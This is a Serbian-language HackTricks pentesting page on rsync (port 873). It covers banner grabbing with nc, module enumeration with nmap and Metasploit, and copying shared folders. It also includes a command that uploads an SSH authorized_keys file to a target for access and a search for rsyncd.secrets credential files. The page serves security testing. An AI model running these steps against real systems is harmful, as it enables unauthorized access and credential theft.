873 - Pentesting Rsync

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Sa wikipedia:

rsync je alat za efikasno prenos i sinhronizaciju fajlova između računara i eksternog hard diska i preko umreženih računara upoređivanjem vremena izmene i veličina fajlova.[3] Obično se nalazi na Unix-like operativnim sistemima. Rsync algoritam je vrsta delta kodiranja i koristi se za minimiziranje korišćenja mreže. Zlib se može koristiti za dodatnu kompresiju podataka,[3] a SSH ili stunnel mogu se koristiti za bezbednost.

Podrazumevani port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeracija

Baner i ručna komunikacija

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerisanje Deljenih Foldera

Rsync moduli se prepoznaju kao deljenja direktorijuma koja mogu biti zaštićena lozinkama. Da bi se identifikovali dostupni moduli i proverilo da li zahtevaju lozinke, koriste se sledeće komande:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Budite svesni da neki delovi možda neće biti prikazani na listi, što može da ih sakrije. Pored toga, pristup nekim delovima može biti ograničen na specifične akreditive, što je označeno porukom "Pristup odbijen".

Brute Force

Ručna Rsync Upotreba

Nakon dobijanja liste modula, akcije zavise od toga da li je autentifikacija potrebna. Bez autentifikacije, listanje i kopiranje fajlova iz deljenog foldera u lokalni direktorijum se postiže kroz:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Ovaj proces rekurzivno prenosi fajlove, čuvajući njihove atribute i dozvole.

Sa akreditivima, listanje i preuzimanje iz zajedničke fascikle može se uraditi na sledeći način, gde će se pojaviti prozor za unos lozinke:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Da otpremite sadržaj, kao što je authorized_keys datoteka za pristup, koristite:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Da biste locirali rsyncd konfiguracioni fajl, izvršite:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

U ovom fajlu, parametar secrets file može ukazivati na fajl koji sadrži korisnička imena i lozinke za rsyncd autentifikaciju.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks